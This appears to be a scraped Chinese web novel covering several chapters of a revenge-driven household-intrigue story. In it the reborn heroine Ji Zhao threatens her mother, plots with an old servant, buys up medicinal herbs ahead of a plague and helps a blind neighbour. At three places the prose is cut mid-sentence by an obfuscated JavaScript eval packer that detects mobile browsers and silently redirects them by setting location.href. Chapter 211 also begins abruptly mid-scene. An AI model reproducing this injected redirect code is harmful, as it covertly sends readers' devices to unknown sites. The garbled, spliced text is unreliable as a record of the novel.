纪昭静静注视着面前的大夫人秦氏。 大夫人被她瞧着,狼狈遮住了自己的脸。 她硬声:“你这个孽女来这儿做什么?你是想看你亲娘遭难,还是来求我原谅你? 呸,我和你说,等我出去后定要让你父亲狠狠罚你。” 纪昭突然笑了。 大夫人惊疑不定瞧着她的笑,只觉得背后发寒。 她发现自己不认得这个女儿,一点都看不透了。 纪昭笑完了,神情些许厌倦和寥落:“母亲,这几日女儿没来探望您。您过得还好?” 大夫人冷笑:“好?你没眼睛吗?瞧不清楚?” 她恨得后槽牙都快咬断了。 纪昭微微一笑:“我自然是知道母亲过得不好,但这不是得走个母女情深的过场吗?” 大夫人:“……” 纪昭:“母亲费尽心机要陷害文奶娘,目的便是让女儿在众位贵人面前丢脸吧?如果女儿丢脸了,您就可以夺回女儿的掌家权,顺带发落作践女儿。可惜了,功亏一篑。” 她轻轻摇头,一副很是惋惜的样子。 大夫人一口老血堵在喉咙间,声音嘶嘶的:“你,你……你怎么提前得知的?” 这个计策她设计得很精妙,出其不意,为了万无一失还重金买通了紫棠院的一个洒扫奴仆栽赃陷害。 可没成想,事情诡异地反转了。 大夫人想不通,死活想不通。 除非纪昭开了天眼,一刻不停地盯着自己。不然怎么会如此凑巧? 所有的凑巧反转加起来,大夫人几乎都怀疑纪昭身上是不是有神佛保佑。 纪昭定定瞧着大夫人的眼睛:“母亲不要揣测了。女儿今夜来只是告诉母亲一件事,你的所作所为我已全部知晓。” “什么?!”大夫人惊慌,“你胡说什么?你知道了什么?” 纪昭:“一切。” 大夫人心跳得很快,一股子血往脑门上涌,身上一阵冷一阵热。 大夫人:“什么……什么一切?” 纪昭却不打算透露底牌。她故意笑了笑:“母亲这么心虚,难不成有许多不可告人的秘密?” 大夫人:“……” 纪昭欣赏了大夫人脸上的惊恐变幻,心里一块黑漆漆的地方慢慢照亮。 谁说复仇不好? 可太好了。 若是没有让作恶的人经受过同样的地狱苦楚,灵魂的痛处怎么能恢复? 若是没有让作恶的人付出代价,天理又何在? 大夫人双唇颤抖:“你今夜来这里到底为了什么?” 纪昭很淡漠:“不为什么。只是想告诉母亲,你恨我尽管朝着我来便是。不要动我身边在乎的人。文奶娘是一个,晚意晚秋也是。” “动了她们,后果比动了女儿还糟糕百倍。” 大夫人:“呵呵,你来就为了说这些没用的屁话?” 她笑得很不屑,说的很粗俗。 纪昭静静盯着大夫人:“好像是没用。不过母亲如果不吃教训的话,白沁雪的下场女儿就不敢保证了。” 她轻飘飘落下一句话:“毕竟,她可是母亲的至亲骨肉啊。” 大夫人惊了,慌了。 失控尖叫:“你胡说什么?她……她是侄女,你是不是与你父亲胡说了什么东西?你给我站住!你……” 纪昭将大夫人的尖叫丢在身后,冷冷走了出去。 走出佛堂门口,一轮清冷的弯月挂在西边。 月辉清冷,遍体生寒。 春翠提着灯笼,犹豫:“大小姐,大夫人是不是疯了?她胡说八道些什么东西,万一传出去的话对大小姐不利。” 纪昭拢起斗篷风帽,淡淡的:“不会的。她的话不会出这个佛堂。” 果然大夫人的话戛然而止,传来无力的哭声。 惊恐的、绝望的……这是她前世最熟悉的。 在这被遗忘之地,恐惧地看着自己堕入无间地狱,不得救赎。 纪昭回到了紫棠院,宽了衣就躺在了床上。 身体很疲惫,心跳却一阵阵的。 她想起了前世在佛堂与晚秋凄苦相依,被折磨,被恶毒苛待,身上简直没有一块好皮。 出了佛堂后,她也曾找父亲哭诉曹嬷嬷怎么虐待。 没想到父亲轻飘飘一句:“是我吩咐的,让曹嬷嬷好好教导你尊重长辈,与兄妹友善。” 在那一刻,纪昭才真的对双亲绝望。 今夜她去了佛堂,一是给了大夫人警示,二也暗中撺掇了曹嬷嬷的恶毒,还顺手给大夫人种下心魔。 想来大夫人今夜过后,不但要活得凄惨,精神上也会疑神疑鬼。 第206章 招虞嬷嬷入紫棠院 第二日一早,纪昭醒了。 昨晚做了一夜的噩梦,梦见的都是前世在佛堂里被曹嬷嬷折磨,以及晚秋被曹嬷嬷虐打。 虽说如今曹嬷嬷折磨的人不是自己,但追究起来,曹嬷嬷是一个本性极恶的婆子。 有点,留不得了。 不过刀斧手不会是她,大夫人还会得势一阵子。 大夫人得势时,曹嬷嬷就会死。 就算曹嬷嬷只是奉命行事,大夫人也会因为在佛堂中疑神疑鬼的心态而杀人。 纪昭想着,一颗心慢慢落在了肚子里。 她实在算不上菩萨心肠,做不来那割肉饲鹰的善事。前世害过她,折磨过她的恶人都得得到该有的报应。 而她不会手软。 早膳还没用完,纪昭就听见外面有喧闹。 问了晚意。晚意笑道:“大小姐忘了那冰窖和马厩的事?陈王昨儿就派人来侯府了,今日正在打窖井呢。” 纪昭点头。 陈王约莫快去西南赈灾了,所以得赶紧让人做完这些事。 纪昭用完早膳,照例去向老夫人请安。 侯府如今账目已平,虽有亏空,但已经过了盲人摸象的阶段。其余亏空的银子,老夫人拿出自己的体己先补上,等来年庄子和铺子有了收成和进项再还给老夫人。 纪昭要贴补,老夫人不愿意。 老夫人:“昭儿要嫁入睿王府了,这个时候必须得加紧给自己添置嫁妆。皇上和皇后的赏赐虽多,但终究还得我们侯府得多添点,决不能让昭儿受委屈。” 老夫人发话了,二房三房都没意见。 毕竟纪昭作为纪府第一个出嫁的千金,她的体面就是整个侯府的体面。 老夫人话说得很有骨气,但现实是侯府明年加上纪昭,还有两位适龄少女要出嫁。也得贴补二房和三房,还得给两位孙女添妆。 所以老夫人紧巴巴的。 纪昭与老夫人商量,今年把几个铺子给她经营,看看能不能找出别的财路。 老夫人:“昭儿你一个女儿家却要操心府中上下一百多口人的生计,真是你父亲的失责。” 纪昭:“父亲一向只管仕途,别的也不管,是祖母辛苦了。” 祖孙两人执手相看,想起晋阳侯只能叹气。 谁让她们有纪世德这样一个儿子\爹呢? 祖孙两人说完家业的事,纪昭道:“祖母,我给您求个人。” 老夫人:“谁啊?你院子缺人不成?” 纪昭笑道:“不是,纯纯是想念虞奶奶做的水饺,葱油饼,还有一手很绝的酱牛肉和水晶肘子。想让虞奶奶去我院里的小厨房帮几日忙。” 老夫人笑道:“我当是什么事。虞嬷嬷啊,她回府就去了祠堂歇着了。你要的话,我让她今日就过去。” 纪昭笑了:“多谢祖母。” 这件不起眼的小事就定了下来。 纪昭口中的虞奶奶就是送了大夫人回衡阳老家的虞嬷嬷。纪昭提起来时为了以示尊重所以称她奶奶。 到了下午,虞嬷嬷就到了紫棠院。 纪昭放下账册,亲热将她迎了进来。 虞嬷嬷年岁大,平日里一直在纪家祠堂里养老。祠堂活儿不多,合适这些无家可回的老仆人。 若是有子侄或靠谱的远房亲戚,其实纪家会发点养老费让这些辛劳了一辈子的老人颐养天年。 虞嬷嬷没有亲戚,所以老夫人就让她在祠堂里养着。 若不是大夫人回衡阳老家,虞嬷嬷也不会辛苦跟着跑一趟。 虞嬷嬷进了屋子,由小丫鬟扶着坐在榻上。 她打量纪昭的屋子。 临窗是一张罗汉床,床上放着酸梨木打成的矮几。矮几上放着三碟果子。 纪昭刚才坐在床上看账册,身后垫了个锦墩。床边放着一个冰笼,里面是消暑用的河冰。 往里隔一层珠帘后是简单的书房,一方书案,一个太师椅。案上文房四宝整整齐齐。还有一刀宣纸。 书案对面是满满一面墙的书。许多书看着是读过的。 再往里面隔着一层绯红轻纱帐帘,帘子两边垂着两条编的红络子,络子上是玉珠和珍珠。 再里面就是纪昭平日睡的床。 床前放着一个山水屏风。 整个屋子很雅致,很清爽。 虞嬷嬷看得连连点头:“千金小姐的闺房就该如此。不需太多金银珠宝镶嵌,干净清爽为主。” 纪昭笑道:“虞奶奶看着入眼就算是对我的夸赞了。” 虞嬷嬷对纪昭印象很好。因为若不是纪昭,纪家是绝对不可能跃入勋贵之列的。 更别提老夫人时常在虞嬷嬷面前夸纪昭回京后,行事作风。 虞嬷嬷又见纪昭面前放着写好的字。 她拿起来仔细看了看,又是点头:“字写的极好了,虽然根基不足,但也自有一股凌厉在。不愧是拿过刀剑的。” 纪昭好奇:“虞奶奶识字?” 虞嬷嬷朝她眨眨眼:“自从脱了侯府的差事,我到了祠堂就开始识字看书。没书可以看了就差遣小丫头去街上买话本,看字帖。” 她比了个手势:“我学了近十年了,要不是老了没才情,我还能做诗呢。” 纪昭又惊又喜:“虞奶奶当真活到老学到老呢。” 虞嬷嬷快怀哈哈笑了起来,隐约有得意:“我这老婆子脾气怪。人家说女子不用识字读书,我偏不信。我就要见识见识读书到底有多厉害。” 纪昭没想到虞嬷嬷一个家生奴仆竟然有这样的心气儿。 她催促虞嬷嬷露一手。 虞嬷嬷也不犯怵,提笔就写了一行字。 “谁说女子不如男。” 笔力圆滑老道,虽有点笔画顺序不对,但竟是别有一番意味。 纪昭笑了:“好好,虞奶奶这句我得让人裱起来。挂在书房前激励我自个。活到老就学到老。” 两人一起笑了起来。 春翠在旁边看得直愣神。 她不擅长读书写字,喜欢练武。虽说纪昭要求她必须每日一个时辰读书写字,但至今写的字还不如白发苍苍的虞嬷嬷。 况且虞嬷嬷是五十几岁才开始识字,识字读书只会比年轻人更难。。 想着,春翠惭愧了。 她悄悄立下誓言,一定要文武双全。 寒暄过后,虞嬷嬷似笑非笑瞧着纪昭:“大姑娘有什么话就说了吧。别打哑谜,不然老婆子睡不着觉。” 纪昭听了,挥退了身边丫鬟。 她握住虞嬷嬷温暖粗糙的手,眼中有了动容:“虞奶奶,如今阖府就你一个明白人了。有件天大的丑事,我只能求你指点迷津了。” 第208章 赵鸿畴 虞嬷嬷皱眉:“何事这么严重?” 纪昭:“大夫人,也就是我的母亲。” 虞嬷嬷眼皮子跳了跳,赶紧去将房门关上。 纪昭见她如此做派就知道虞嬷嬷不是全然不知情的。 虞嬷嬷重新坐在罗汉床上,对纪昭语重心长道:“如今大姑娘是有前程的人,只要一出嫁,娘家与你关系就浅了。乌遭烂东西的事也与你无关了。” 纪昭摇头:“我倒是不想理会,但母亲已经把那私生女带回来了。” 虞嬷嬷吓了一跳:“你是说白沁雪?” 纪昭点了点头。 虞嬷嬷咬牙切齿:“我也怀疑呢!当初这个表小姐来的时候我心里就犯嘀咕,但终归是没凭没据的,实在是不好说什么。” “后来见她对那表小姐千好百好的,我越发疑惑。” 纪昭将回府后一些事说了,又说起文奶娘被陷害,差点要被陷害死。 纪昭垂泪:“我本不愿意如此恶毒揣测亲娘,但她动了我身边最在乎的人。文奶娘是自我出生就一口奶一口粥喂养长大。几次大夫人不管我死活,是文奶娘将我救了回来。 亲娘委屈亲女儿其实也不算什么仇,但她要文奶娘的命!以后为了她那点私心,等我出嫁了没人钳制住她,到时候祖母可怎么办?府中一干亲人怎么办? 还有我大哥和大嫂,誉哥儿,他们都是她的后辈,压根治不住她。” 纪昭动了容,越发泪落得急了。 “我怎么能一人独自奔前程,丢下至亲在府中受磋磨,受苦难?” 虞嬷嬷见她哭了,想到若是大夫人动了老夫人,自己也是万万受不了的。 虞嬷嬷也哭了:“好姑娘,你想的深远,竟然是如此孝顺的人。” 纪昭:“虞奶奶,你一定得帮我。这不是为了我自己那点委屈,是为了至亲的性命啊。大夫人是真的敢**。” 她没冤枉秦氏,前世自己得了癔症被送走,祖母就缠绵病榻几个月,后来突然暴毙。 现在她怀疑前世祖母的突然暴毙也是大夫人和白沁雪下的毒手。 因为白沁雪要嫁给三皇子,大夫人便要求晋阳侯将她正式归入纪家嫡女,要上族谱。 老夫人肯定反对。 所以极有可能大夫人和白沁雪合谋下了毒手。 一想到这儿,纪昭恨得眼都红了。 虞嬷嬷见纪昭眼红如血,恨得微微颤抖,她握住纪昭的手。 坚定:“大姑娘你放心。我们合计合计怎么整垮这一对混账母女。若是真的最后奈何不了她们,老婆子不多说,反正我也没几年好活了抱着她们一起下地狱去。断然不能留着她们害人。” 纪昭被虞嬷嬷感动:“虞奶奶,倒也不用玉石俱焚。我们想个法子。” 两人于是合计起来。 纪昭问大夫人回衡阳老家见了什么人。 虞嬷嬷道:“见的是她衡阳老家的几个亲戚。她大哥大嫂就不说了,就还见了几个侄子。” 她想着皱了眉:“不过她说要给母亲念七天七夜的经超度,一直锁在一处小尼姑庵。我借口送饭去了几次,没瞧见什么。” 纪昭:“尼姑庵叫什么?” 虞嬷嬷:“叫无诟庵。也叫观音庵。” 纪昭记下来了:“派人去悄悄查一下那庵中的比丘尼是真尼姑还是假的。我怀疑那人和大夫人是在尼姑庵私会的。” 虞嬷嬷:“我有个远房的侄孙,人很机灵。我让他去查查。” 纪昭:“那也顺便让他查问下这个人。” 她在纸上写了个名字,递给虞嬷嬷。 虞嬷嬷看了一眼,将纸撕了:“我记住了。这东西不要流出去。不管查到还是查不到这事都和大姑娘一点关系都没有。” “大姑娘好不容易有这么好的前程。可千万不能沾染上一星半点的错处。脏活**,大姑娘一定要撇清关系。” 纪昭心中感动。 虞嬷嬷维护她的名声简直到了极致。 纪昭便将前世自己从虚妄台窥得的消息悄悄告诉了虞嬷嬷。 “那人姓赵,大名叫做鸿畴。是与大夫人青梅竹马的男人,十四岁中了秀才,但后来一直没进益。到了二十岁不但没考上举人,还家道中落,所以没法向大夫人提亲。” 纪昭说起秦氏,用的是“大夫人”。 这样称呼她说起大夫人的秘密才不会觉得心里怪异。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672049|169868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 虞嬷嬷点了点头:“我想也是,若不是这等幼时情分也不至于让大夫人在成亲生子后还有羁绊。大姑娘是从哪儿打听到的?” 纪昭含含糊糊说:“是我小时候跟着大夫人屋子睡觉,听见一位嬷嬷闲话时说起的。嬷嬷说姓赵的长得很俊俏,唇红齿白,貌比潘安。” “呸!小白脸一个。”虞嬷嬷小声咒骂,“就是这种吃软饭的才会与有妇之夫勾搭。” 虞嬷嬷骂了好一会儿。 纪昭继续说:“人这运道说不准的。赵鸿畴倒霉了一阵子后,去年得了举人。明年约莫要去参加秋试。” 虞嬷嬷吓了一跳:“竟然是举人老爷?是不是官身?” 纪昭摇头:“举人还不能封官身,不过就算是什么也不做每个月县里都会给银两养着。这是本朝对学子的恩赏。若是有名望的人举荐,还能去书院当先生。若是捐官也能得一官半职。” 说完,纪昭也觉得棘手。 按着前世的日子,赵鸿畴现在应该是中举了,明年应该也能上榜中了丙等第一百一十三名。 名次不高,但却从此与普通人不一样了。 这是纪昭反推时间算出来的。 赵鸿畴人长得好,又文质彬彬,时而伤春,时而悲秋。大夫人被迷得三魂六魄少了一魂一魄。 侯夫人的荣耀都无法让大夫人满足。 她自从嫁入纪家后就一直私下里给赵鸿畴银子,贴补他的生活。 赵鸿畴也是不要脸。来者不拒。 不过纪昭知道,赵鸿畴除了爱吃软饭,私底下还很风流。 大夫人嫁入纪家,第二年赵鸿畴就娶了妻子,第三年纳了个妾。 因为这事,大夫人还特地回衡阳老家拉着他闹了许久。赵鸿畴为了稳住大夫人,百般哄着骗着说以后再不纳妾。 大夫人才罢休。 两人很是甜蜜了大半年,期间大夫人怀上了白沁雪。 大夫人回纪家后发现自己怀了赵鸿畴的种,偏偏这个时候还不是晋阳侯的纪世德到军营中屡军职,必须离家大半年。 怀孩子的时间对不上。 大夫人这才不得不又赶回衡阳老家偷偷将白沁雪生了下来。 第209章 草药生意 大夫人花了一笔钱,让和娘家有亲戚关系的白家收养了白沁雪。 白家拿了银子对白沁雪表面上好,实则苛待。大夫人几次回衡阳老家看见瘦弱怯弱的私生女,心痛欲绝。 一直到了纪家封了侯,大夫人成了侯夫人,这才想办法将白沁雪带回京城。 而赵鸿畴会在明年秋试上榜,而后又靠着大夫人的金钱,和成为三皇子妃的白沁雪的人脉,一路高升。 事情就是这样。 纪昭没给虞嬷嬷说后半段。 虞嬷嬷光听到赵鸿畴是举子,就已经有了胆怯。 她是草民,向来敬畏有学问,有官身的人。这很正常。 虞嬷嬷皱眉:“大姑娘,虽然知道这人,但从何处下手?” 纪昭将自己盘算了许久的法子说了。 “大夫人如今在侯府连连搅风搅雨,就是有赵鸿畴这个盼头,还有白沁雪的前程支撑着她的心气。” “现如今,白沁雪的前程自毁了一半,她们娘俩就盼着赵鸿畴中进士。所以,我们得如此这般……” 纪昭细细说了。 又写了个人名和地址,交给虞嬷嬷。 虞嬷嬷照例看了看撕了纸条。 纪昭说了大半天的话,口渴了。她喝了口茶,对虞嬷嬷道:“此事不急,徐徐图之。虞嬷嬷有银钱支取的地方,我让晚意给您。” 虞嬷嬷也不推辞:“行,有银子好办事。大姑娘放心。” 她想了想,又问:“老夫人那边?” 纪昭摇了摇头:“祖母上了年纪,身子骨本就不硬朗,不拿这些糟心事让她操心。” 虞嬷嬷:“侯爷身子骨可没不好,得找个时机让侯爷来个捉奸大戏。” 纪昭见虞嬷嬷一副“不痛快也不能让晋阳侯痛快”的样子,忍不住莞尔一笑。 “虞嬷嬷放心,我爹的糟心事很快就来了。” 这场戏,纪昭可是筹划了许久。 现如今时机看着快到了,她怎么能让晋阳侯错过。 …… 虞嬷嬷就在紫棠院里住下来了。借口便是给纪昭做家乡菜。 紫棠院很大,虞嬷嬷是家中老人,纪昭拨了一个单人屋给她住下。月例比照文奶娘的。 虞嬷嬷很悠闲。 平日在小厨房做一两道菜,别的也不管。余下空闲时间她就在各院里串门,闲聊。偶尔还陪老夫人打牌。 老夫人年纪大了,喜欢和从前的老人说话,所以也十分高兴虞嬷嬷能回府。 转眼就到了六月底。 暑气很热,快到了七月流火的季节。 幸好陈王帮忙建的冰窖好了,侯府拿了一笔银子从北边运了好些大冰块存着。所以在最热的时节,侯府第一次用冰不用劳心劳力去买冰。 最近侯府两位小姐定了亲,已经到了纳吉的步骤。 整个侯府忙忙碌碌的,迎来送往的亲友很多。 在大嫂包氏和二房夫人沈氏的操持下,一切办的很妥当。而纪昭只需要管管账本就行。 纪昭很清闲,便又去了一趟胭脂水粉铺子。 她以为自己放了话,让其随便经营,就一会团散。结果到了铺子一看,整整齐齐的,甚至挑选胭脂的女客还挺多。 二楼还开了个成衣和绣品,请了个女裁缝给女客们量体裁衣。 纪昭看得新鲜无比,眼底都是惊叹。 文奶娘侄儿谦卑笑道:“我觉得只转卖别人铺子的胭脂水粉,没利润还得倒贴,所以找了个擅长制胭脂水粉的女匠,让她调色调粉,按比市面上卖的低三成找她进货。” “还招个女裁缝,绣品是挑了几位擅绣的绣娘收的。这些走的都是薄利多销的路子。” 纪昭笑道:“你做得极好了。我开铺子不为挣钱。没想到生意还不错的样子,已是惊喜了。你做的很好。” 为的是旁边那户人家。 文奶娘的侄儿自然是不懂纪昭的心思,点头:“是,大小姐是做大事的,看不上这些小钱。不过这生意能聚人气,以后做什么都方便。” 纪昭点头:“上次茶生意盈利不少。我再给你一个事,你去照办了又能得许多,还是那样,我出本钱,你让人收货。得利了后,分你一成。我拿三成,剩下的分红存着有用。” 文奶娘侄儿眼睛亮了。 纪昭写了几味草药,交给他:“现如今西南旱灾,往年秋季的时候这些草药是不涨价的,但今年就不一定了。你找人悄悄收了,周边的药庄也收。到时候有大用。” 文奶娘侄儿一听这话,猛地拍脑袋:“还是大小姐厉害,这因果抓得紧紧的。” 他看着单子上的草药,都是很寻常的甘草、黄芩、麻黄、白术、防风等等。 他越看越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672050|169868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是皱眉:“大小姐,这些草药不缺啊。就算是西南大旱减产,各地也会有的。” 纪昭:“不,会很缺的。你照着单子买,越多越好。” 文奶娘侄儿立刻点头。 因茶叶之事暴利,他便信了纪昭。也许这些贵人们有自己的消息渠道,普通人哪能窥得天机? 纪昭和他说了两句,文奶娘侄儿去忙了。 纪昭眸色细碎,若有所思。 她不愿意发这种财,但不发这种财也不对。 因为前世西南大旱后,草药歉收。不过如文奶娘侄儿说的那样,就算是西南大旱,其实各地的草药还是能够补给的。 糟糕就在于,前世运送各地草药的船只在通过漕运的时候,突然一场大暴雨全翻了。 十几船的草药全被洪水冲走,一根不剩。 各地草药急缺,特别是京畿周围郡县更是连最基本的甘草都没有。而西南大旱后的瘟疫又一路北上,传染了好几个郡县。 瘟疫、草药短缺,闹了好几个月,甚至有州郡的难民**。 睿亲王萧烨甚至亲自带兵去西北坐镇了两月,预防乌国人趁乱南下趁火**。 总之这一场风波闹了足足三个月。 最后朝廷是启用了一个叫做周雉的酷吏,前去瘟疫州县血腥**,**上万人才得以平息。 这事纪昭是亲历者。 那时候她被大夫人和白沁雪折磨着,断断续续知道一些惨事。 死后,纪昭在虚妄台窥探萧烨,也听到了一些真事,所以才会记住。 现如今,她虽没有逆天的本事可以阻拦西南旱灾的发生,也没办法阻止十船草药不被暴雨倾覆,那只能先开始布局。 算起来,六月份是西南旱灾闹得最凶的时候,而各地的草药也在这个时节采摘晒干…… 她若是能提前买下天量草药,也许到时候也可以救治受瘟疫之苦的百姓。 纪昭坐在店铺二楼,一边喝茶一边看着隔壁院子里那瞎眼老太太摸索着出来晒被子。 老太太依旧穿着很朴素,很干净。只是脸色很苍白,在日光下看出病体支离的样子。 纪昭静静看着。 老太太好像只有一个人,摸索着晒了被子后拿了拐杖要回屋去。 突然拐杖悄悄倒在了一旁,老太太没摸到,一个踉跄重重摔倒在地上。 第210章瞎眼老太和少女 纪昭看见瞎眼老太太摔倒,立刻起身下了楼。 几步就到了隔壁门口:“老婆婆,你怎么样?” 里面没声音。 纪昭沉吟了一会,伸手运了点内力推开了院门。 门后的门闩被震断,纪昭踏进去,里面瞎眼老太太正循声茫然抬头看向她。 纪昭见她还在地上,上前扶起她:“老婆婆,我方才在楼上瞧见您摔了。于是便破门进来了。” 瞎眼老太太认得纪昭的声音,吐出一口气:“哦,原来是隔壁胭脂铺的女东家。” 晚秋跟了过来,还有铺子的丫鬟。 一番收拾,瞎眼老太太手腕和膝盖蹭破了好大一块皮。纪昭让人拿了清水洗了后,擦了伤药,又让丫鬟帮忙包扎。 瞎眼老太太感激叹气:“今日真是碰到了好心人。不然老婆子得挨骂。” 晚秋奇怪:“有人会责骂老婆婆吗?” 瞎眼老太太:“这倒不是,是我的女儿会担心,每次见我受伤生病都会唠叨许久。” 纪昭蹙了蹙眉:“跟着老婆婆身边的丫鬟了呢?” 瞎眼老太太:“她出去买菜了。还没回来。” 正说话间,外面传来少女愤怒的声音:“是哪个破门而入的贼?快去报官!” 纪昭一使眼色,晚秋出去了。 晚秋在外面解释了两句。 那少女依旧不依不饶:“你说我娘摔了就真的摔了?怕不是你们想进去翻找东西吧?” 晚秋生气了:“这位小姐你怎么能胡说呢?我家小姐什么身份?非要破门而入翻找你家的什么东西。” 那少女:“这可难说。不然敲个门就能进来,你们为什么要把我家的门给弄坏了?” 晚秋:“你,你不可理喻。我家大小姐都是为了救你娘。” 那少女:“不用,不需要!你们都给我出去。” 晚秋:“……” 外面吵的不可开交,而且还越来越激烈。 瞎眼老太太拉住纪昭的手,恳切道歉:“对不住啊这位小姐,我的女儿心眼不坏,只是性子急躁。她没有别的恶意。” 纪昭安慰笑道:“老婆婆不要担心。都是一场误会罢了。我出去与她解释。” 纪昭安顿好瞎眼老太太走了出去。 外面一位鹅黄衣裙的俏丽少女见是纪昭,愣了下:“纪家的大小姐?” 纪昭含笑打招呼:“这位姑娘误会了。我是无意中看见老婆婆摔倒了,情急之下才让人撞断门闩。我会赔的。” 那少女满眼狐疑:“你从哪儿看到的?” 纪昭指了指旁边铺子二楼窗户:“正好今日我来了这里巡铺子,所以二楼张望了一眼。” 那少女看看旁边小楼,狠狠瞪了纪昭一眼,然后冲了进去。 纪昭站在院中,神情自若。 晚秋愤愤不平:“什么人啊!说我们弄坏她家门就算了,还这么凶巴巴地怀疑我们要偷东西。” 过了一会儿,那少女走了出来。 她脸上有得知真相的尴尬,但口气却依旧很硬:“虽说你们扶了我娘,但未免太过莽撞了。这门你们得让人来修。” 晚秋气不过,讥讽:“你们家的门年久失修,一碰就坏,赖我们呗?” 那少女:“我难道冤枉你们了?门是不是你们弄坏的?快赔!” 晚秋:“……” 纪昭拉住晚秋,口气温和:“这门也久了。我让人换一扇新的,更结实。” 那少女厚颜:“换门就换门。我要好点的门,不要拿破门来诓我。” 晚秋:“……” 晚秋还要再骂。 瞎眼老太太从里面颤颤巍巍走了出来:“阿娇啊,不要这样对恩人。她救了我,还帮我洗伤口上药的。我们不能这么得寸进尺。” 晚秋:“老婆婆您才是明事理的。这姑娘太过分了。” 纪昭拉住晚秋:“少说两句。” 那少女扶着瞎眼老婆婆,冷哼:“你们说什么都没用。一个堂堂侯府嫡女千金在这里开铺子玩,平日人来人往的,给我们添了多少麻烦?我没找你们算账就不错了。 现如今你们把我家的门都踹坏了,就是得赔。” 纪昭:“是该赔。这点这位姑娘放心。” 那少女见纪昭始终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684071|169868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情绪平稳,条理分明的,她的邪火渐渐消了。 那少女扶着瞎眼老太太回屋子,冷冰冰说:“今日之内门得修好了。还有,以后没事不要过来了。我们这里屋子破,孤儿寡母的,不方便招待你这些富贵小姐。 她进了屋子,“砰”地关上了屋门。 纪昭微微蹙眉。 晚秋气得要哭了:“大小姐你看这女人太气人了!” 纪昭默默看了一会儿,对晚秋说:“别气了,让店伙计去找个木匠帮人家换个门吧。” 她说完转身走出了瞎眼老太太的院子。 回到了铺子,晚秋去安排人给隔壁换门。 安排好后,晚秋还喋喋不休埋怨。 纪昭含笑:“行了,就受点委屈而已。我不气你倒气那么久。” 晚秋不忿:“那女人对大小姐那么凶,奴婢看不过去。” 纪昭笑道:“等会让你去帮老婆婆抓点药,送点补品,你岂不是更气了?” 晚秋:“大小姐你疯了?为什么还得给那老婆婆送药送补品的?” 纪昭:“这你就不懂了。按着我说的去做吧。” 晚秋不得不依着纪昭的吩咐去买了药和补品。 纪昭就在二楼窗户边看着。 晚秋给那少女送了东西,忍着气说了来意。 那少女接过东西,闻了闻药收下了,结果将补品丢在了地上。 “谁稀罕吃你家的补品!快点走!” 这次晚秋真的被气哭了,跑着回来了。 纪昭都看在眼里,微微蹙眉后,随即自言自语:“那就对了,是这个人。” …… 半旧不新的屋子里,瞎眼老太太对着少女唉声叹气。 “阿娇你这个样子实在是不对。人家好心帮了我,还买药送补品的,你没给半句好言语就算了,怎么能如此羞辱人?” 叫做阿娇的少女冷哼:“无亲无故的,谁知道她们安的是什么心?!万一是那些要还我们的人呢?到时候就晚了。” 瞎眼老太太摇头:“人家是侯门嫡女,千金之躯,又有什么可加害我的?你不要太大惊小怪。” 第211章 争画作 这话一出,旁边侯着的店伙计脸黑了黑。 店伙计:“郡主,我们书肆没有臭味。” 嘉琪郡主一向是嚣张惯了的:“怎么没臭味?就臭!臭**。” 她还呵斥店伙计:“你离我远点。你身上也臭。” 店伙计尴尬退后。 刚才那位被称为琴筱的小姐看不过眼,轻声道:“郡主,不是臭味,是墨香,还有檀香。” 嘉琪郡主还是捂着口鼻:“不是,就是臭味。好臭啊。你赶紧挑完了我们走。” “听说珍宝坊最近新进了一批很新的头面首饰,我们去看看。” 她连连催促。 琴筱小姐摇头:“不去,我要给我堂哥挑文房四宝。送他的东西可得好好挑,不合心意的他都不看多看一眼。” 嘉琪郡主见好友不肯听自己的劝,索性不管了。 她一回头,正好瞧见纪昭安坐在雅间里。 仇人见面分外眼红。 嘉琪郡主恶狠狠瞪了纪昭一眼。 纪昭自然是没瞧见的,若是瞧见了也只会一笑置之。两世为人,她还不至于和嘉琪郡主这种蛮横的贵女一般见识。 上一个如此骄纵的人已经得到教训了。 纪昭只关心自己要找的孤本到底有没有。若是没有,那就可惜了。 过了一会儿,掌柜的带人上来,对纪昭笑道:“让纪大小姐久等了。终于找到了。这是秋山居士所著的孤本,还有他几副画。” 纪昭惊喜:“居然还有画?” 掌柜含笑:“是的。本来这画是找不到的,幸好纪大小姐提醒,所以我们书肆师傅又仔细查看了下,找到了这几副要丢弃的画。”‘说着,掌柜将几本孤本和画卷都放在纪昭面前。 纪昭仔细查看,虽然有破损,但的确是秋山居士的真迹。 前世秋山居士的孤本被皇帝病中所得,大为欣赏,赐了御笔“天下诗画一绝”。于是市面上秋山居士的书和画作随便一副就价值千金。 